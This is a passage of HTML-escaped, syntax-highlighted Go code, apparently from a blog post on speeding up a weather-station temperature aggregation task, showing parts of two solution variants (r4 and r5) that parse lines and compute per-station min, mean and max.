&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;bufio&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;bytes&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;io&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;os&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;sort&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">r4&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#a6e22e">output&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">Writer&lt;/span>) &lt;span style="color:#66d9ef">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">stats&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">count&lt;/span> &lt;span style="color:#66d9ef">int32&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#66d9ef">int64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">f&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Open&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Close&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stationStats&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make(&lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">stats&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">scanner&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bufio&lt;/span>.&lt;span style="color:#a6e22e">NewScanner&lt;/span>(&lt;span style="color:#a6e22e">f&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">scanner&lt;/span>.&lt;span style="color:#a6e22e">Scan&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">line&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">scanner&lt;/span>.&lt;span style="color:#a6e22e">Bytes&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">station&lt;/span>, &lt;span style="color:#a6e22e">tempBytes&lt;/span>, &lt;span style="color:#a6e22e">hasSemi&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bytes&lt;/span>.&lt;span style="color:#a6e22e">Cut&lt;/span>(&lt;span style="color:#a6e22e">line&lt;/span>, []byte(&lt;span style="color:#e6db74">&amp;#34;;&amp;#34;&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> !&lt;span style="color:#a6e22e">hasSemi&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">continue&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">negative&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">false&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">tempBytes&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>] &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#39;-&amp;#39;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">negative&lt;/span> = &lt;span style="color:#66d9ef">true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> int32(&lt;span style="color:#a6e22e">tempBytes&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>] &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">tempBytes&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>] &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;.&amp;#39;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#a6e22e">temp&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#f92672">+&lt;/span> int32(&lt;span style="color:#a6e22e">tempBytes&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>]&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span> &lt;span style="color:#75715e">// skip &amp;#39;.&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#a6e22e">temp&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#f92672">+&lt;/span> int32(&lt;span style="color:#a6e22e">tempBytes&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>]&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">negative&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#a6e22e">temp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">stationStats&lt;/span>[string(&lt;span style="color:#a6e22e">station&lt;/span>)]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stationStats&lt;/span>[string(&lt;span style="color:#a6e22e">station&lt;/span>)] = &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">stats&lt;/span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">min&lt;/span>: &lt;span style="color:#a6e22e">temp&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">max&lt;/span>: &lt;span style="color:#a6e22e">temp&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sum&lt;/span>: int64(&lt;span style="color:#a6e22e">temp&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">count&lt;/span>: &lt;span style="color:#ae81ff">1&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span> = min(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span> = max(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> int64(&lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stations&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#ae81ff">0&lt;/span>, len(&lt;span style="color:#a6e22e">stationStats&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">station&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">stationStats&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stations&lt;/span> = append(&lt;span style="color:#a6e22e">stations&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sort&lt;/span>.&lt;span style="color:#a6e22e">Strings&lt;/span>(&lt;span style="color:#a6e22e">stations&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;{&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">stations&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;, &amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">stationStats&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">mean&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span>) &lt;span style="color:#f92672">/&lt;/span> float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>) &lt;span style="color:#f92672">/&lt;/span> &lt;span style="color:#ae81ff">10&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprintf&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;%s=%.1f/%.1f/%.1f&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>, float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>)&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span>, &lt;span style="color:#a6e22e">mean&lt;/span>, float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>)&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;}\n&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="solution-5-avoid-bytescut">Solution 5: avoid bytes.Cut&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// r5: avoid bytes.Cut&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// ~442ms for 10M rows (2.27x as fast as r1)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;bufio&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;io&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;os&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;sort&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">r5&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#a6e22e">output&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">Writer&lt;/span>) &lt;span style="color:#66d9ef">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">stats&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">count&lt;/span> &lt;span style="color:#66d9ef">int32&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#66d9ef">int64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">f&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Open&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Close&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stationStats&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make(&lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">stats&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">scanner&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bufio&lt;/span>.&lt;span style="color:#a6e22e">NewScanner&lt;/span>(&lt;span style="color:#a6e22e">f&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">scanner&lt;/span>.&lt;span style="color:#a6e22e">Scan&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">line&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">scanner&lt;/span>.&lt;span style="color:#a6e22e">Bytes&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">end&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> len(&lt;span style="color:#a6e22e">line&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">tenths&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> int32(&lt;span style="color:#a6e22e">line&lt;/span>[&lt;span style="color:#a6e22e">end&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>] &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ones&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> int32(&lt;span style="color:#a6e22e">line&lt;/span>[&lt;span style="color:#a6e22e">end&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">3&lt;/span>] &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>) &lt;span style="color:#75715e">// line[end-2] is &amp;#39;.&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">temp&lt;/span> &lt;span style="color:#66d9ef">int32&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">semicolon&lt;/span> &lt;span style="color:#66d9ef">int&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">line&lt;/span>[&lt;span style="color:#a6e22e">end&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">4&lt;/span>] &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#39;;&amp;#39;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#a6e22e">ones&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#a6e22e">tenths&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">semicolon&lt;/span> = &lt;span style="color:#a6e22e">end&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">line&lt;/span>[&lt;span style="color:#a6e22e">end&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">4&lt;/span>] &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#39;-&amp;#39;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#f92672">-&lt;/span>(&lt;span style="color:#a6e22e">ones&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#a6e22e">tenths&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">semicolon&lt;/span> = &lt;span style="color:#a6e22e">end&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#ae81ff">5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">tens&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> int32(&lt;span style="color:#a6e22e">line&lt;/span>[&lt;span style="color:#a6e22e">end&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">4&lt;/span>] &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">line&lt;/span>[&lt;span style="color:#a6e22e">end&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">5&lt;/span>] &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#39;;&amp;#39;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#a6e22e">tens&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">100&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#a6e22e">ones&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#a6e22e">tenths&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">semicolon&lt;/span> = &lt;span style="color:#a6e22e">end&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#ae81ff">5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> { &lt;span style="color:#75715e">// &amp;#39;-&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#f92672">-&lt;/span>(&lt;span style="color:#a6e22e">tens&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">100&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#a6e22e">ones&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#a6e22e">tenths&lt;/span>)
